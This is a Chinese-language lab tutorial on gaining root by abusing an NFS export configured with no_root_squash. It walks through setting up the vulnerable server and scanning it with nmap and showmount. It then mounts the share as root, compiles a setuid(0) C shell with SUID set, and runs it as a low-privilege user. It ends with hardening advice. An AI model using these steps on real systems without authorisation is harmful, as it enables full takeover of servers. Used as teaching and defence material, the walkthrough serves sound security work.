Linux权限提升:利用NFS配置错误no_root_squash

导语:网络文件系统(NFS)是Linux系统中常用的共享存储方案,但一个配置疏忽可能导致整台服务器被控制。本文将演示如何利用NFS的no_root_squash选项,从普通用户权限提升到root权限。整个过程只需要简单的几步,任何有一定基础的人都能学会。


一、什么是no_root_squash配置错误

1.1 NFS是什么

NFS(网络文件系统)让Linux主机之间可以像访问本地文件一样访问网络上的共享目录。管理员经常用它来集中管理存储,方便多台机器共享文件。

1.2 root_squash是什么

默认情况下,NFS有一个安全保护机制叫”root squashing”(root压缩)。当远程客户端以root用户(UID 0)连接时,服务器会悄悄地把这个身份降级为普通的nobody账号。这样可以防止远程root用户拥有共享目录中的敏感文件。

1.3 no_root_squash的危险

如果设置了no_root_squash,这个保护就没了。服务器会信任远程root用户,把它当成真正的本地root。结果就是:任何控制网络中某台机器root的人,都可以往共享目录里写文件,而且文件的所有者是root,还带着SUID位。

当服务器上的普通用户运行这个文件时,程序会以root权限执行——攻击者就这样拿到了root shell。

简单来说:no_root_squash = 任何网络中的root用户都能在服务器上为所欲为


二、实验环境

本文使用两台在同一网络的机器:

角色系统IP地址说明
NFS服务器Ubuntu 22.04.5 LTS192.168.1.14主机名ignite,导出/srv/nfs/share
攻击者Kali Linux192.168.1.x持有lowpriv普通用户SSH账号

这模拟了一个真实的渗透场景:攻击者已经有了普通用户的 foothold,但还没拿到root。


三、第一阶段:搭建有漏洞的NFS服务器

3.1 安装NFS服务器软件包

在目标机器(Ubuntu)上安装NFS服务器软件:

apt install nfs-kernel-server
安装NFS服务器

如果提示已经安装好了,说明服务器已经就绪,可以直接配置。

3.2 创建共享目录

创建一个目录用来共享,并用chmod 777给所有用户完全控制权限:

mkdir -p /srv/nfs/share
chmod 777 /srv/nfs/share
创建共享目录

虽然这里用777权限是为了演示,但在实际环境中,这种宽松的权限设置确实会加剧风险。

3.3 配置危险的导出项

编辑/etc/exports文件,这是控制NFS共享权限的文件。添加下面这行:

cat /etc/exports
查看exports文件

最后一行把/srv/nfs/share导出给所有主机(星号表示任意主机),并且开启了no_root_squash选项。就这一个关键词,就去掉了一层安全保护。

添加的配置示例:

/srv/nfs/share *(rw,sync,no_root_squash)

3.4 重启服务并开放防火墙

让NFS服务重新加载配置,然后开放防火墙让客户端能连进来:

systemctl restart nfs-kernel-server
exportfs -v
sudo ufw allow from 192.168.1.0/24 to any port nfs
重启服务

输出确认了共享目录已经导出给所有主机,带有读写权限和no_root_squash。防火墙也成功添加了规则。


四、第二阶段:攻击者扫描探测

4.1 用Nmap发现NFS服务

切换到Kali攻击者,用Nmap扫描目标机器:

nmap -sV --script=nfs-showmount 192.168.1.14
Nmap扫描NFS

扫描结果暴露了丰富的NFS信息:

  • 111端口:rpcbind服务
  • 2049端口:nfs服务
  • 多个mountd、nlockmgr、status程序

最重要的是,nfs-showmount部分显示了导出的路径/srv/nfs/share,并声明对所有主机开放。

4.2 用showmount确认导出

直接用showmount命令确认一下:

showmount -e 192.168.1.14
showmount确认

命令返回了/srv/nfs/share和星号,证明这个共享目录可以被网络上任意主机访问和挂载。


五、第三阶段:利用no_root_squash拿root

5.1 以root身份挂载远程共享

因为我们在Kali上有root权限,可以直接利用no_root_squash。在本地创建挂载点,挂载远程的NFS共享:

mkdir /tmp/nfs
sudo chown root:root /tmp/nfs
sudo chmod 4755 /tmp/nfs
sudo mount -t nfs 192.168.1.14:/srv/nfs/share /tmp/nfs
挂载NFS共享

从这一刻开始,我们往/tmp/nfs里写的任何文件,在服务器上显示的都是root身份。

5.2 制作root拥有的SUID Shell

挂载成功后,我们进入目录,写一个简单的C程序:

cd /tmp/nfs
nano shell.c

shell.c的代码:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main()
{
    setuid(0);
    setgid(0);
    system("/bin/bash");
    return 0;
}

这个程序会调用setuid(0)和setgid(0),强制把当前进程提升为root权限,然后启动bash。

编译这个程序,并给它加上SUID和SGID位:

gcc shell.c -o shell
chmod +s shell
ls -la shell
编译SUID程序

ls -la的输出确认成功:权限字符串-rwsr-sr-x显示SUID和SGID位都已激活,而且文件所有人是root。

5.3 以普通用户身份执行payload

最后一步,回到服务器上,用普通账号SSH登录:

ssh lowpriv@192.168.1.14
cd /srv/nfs/share
ls
./shell
id
获取root权限

运行./shell后,Linux内核识别到SUID位,把这个程序的权限提升为文件所有人的权限,也就是root。提示符立即变成了root shell,id命令确认了胜利:uid=0(root)。

攻击完成!普通用户lowpriv已经变成了root。


六、为什么这个攻击能成功

这个漏洞利用把三个弱点串联在一起:

第一,no_root_squash让远程root用户可以在共享目录里写root身份的文件。

第二,SUID位告诉内核:用文件所有人的权限运行这个程序,而不是运行它的人。

第三,NFS会原封不动地把文件的所有权和SUID位传过网络边界。

这三者结合,只要攻击者在网络中任何一台机器上有root权限,就能放置一个root拥有的SUID程序,让服务器上的任意本地用户触发并获得root。


七、防御方法

防御这个漏洞其实不难,只要养成几个好习惯:

7.1 优先使用root_squash

root_squash是安全的默认选项,no_root_squash只留给那些严格控制的、隔离的少数场景。

7.2 导出给特定主机而非所有

不要用星号导出,给受信任的特定主机单独配置。

7.3 添加nosuid选项

在导出配置里加nosuid选项,让服务器忽略通过NFS传输过来的文件上的SUID位。

7.4 用防火墙限制访问

在网络层限制NFS只能被受信任的客户端访问。

7.5 考虑NFSv4加Kerberos认证

如果可能,使用NFSv4配合Kerberos认证,对客户端身份做强验证。

7.6 挂载时加nosuid和noexec

客户端挂载远程共享时,用nosuid和noexec选项,防止运行任何放置的二进制文件。

7.7 定期检查/etc/exports

养成定期审计/etc/exports的习惯,在攻击者发现之前先发现问题。

一个安全的导出配置示例:

/srv/nfs/share 192.168.1.50(rw,sync,root_squash,no_subtree_check,nosuid)

这个配置限制了只能从特定主机访问,恢复了root压缩,剥离了SUID位。


八、总结

本文演示了一个简单但危险的攻击手法:只需要一个导出选项,就能把一个普通的文件共享变成通往root的直接路径。

no_root_squash虽然用起来方便,但非常危险。它在渗透测试和CTF比赛中都是一个常见的考点。

理解了攻击技术之后,防御就不难了:保持安全的默认配置,给共享目录加适当的限制,就能让NFS继续发挥它的便利,而不会成为权限提升的大门。

原文出处:https://www.hackingarticles.in/linux-privilege-escalation-using-misconfigured-nfs/

版权声明:本文由华盟网原创发布,保留所有权利。配图由华盟网授权使用。

© 版权声明
THE END
喜欢就支持一下吧
点赞10 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容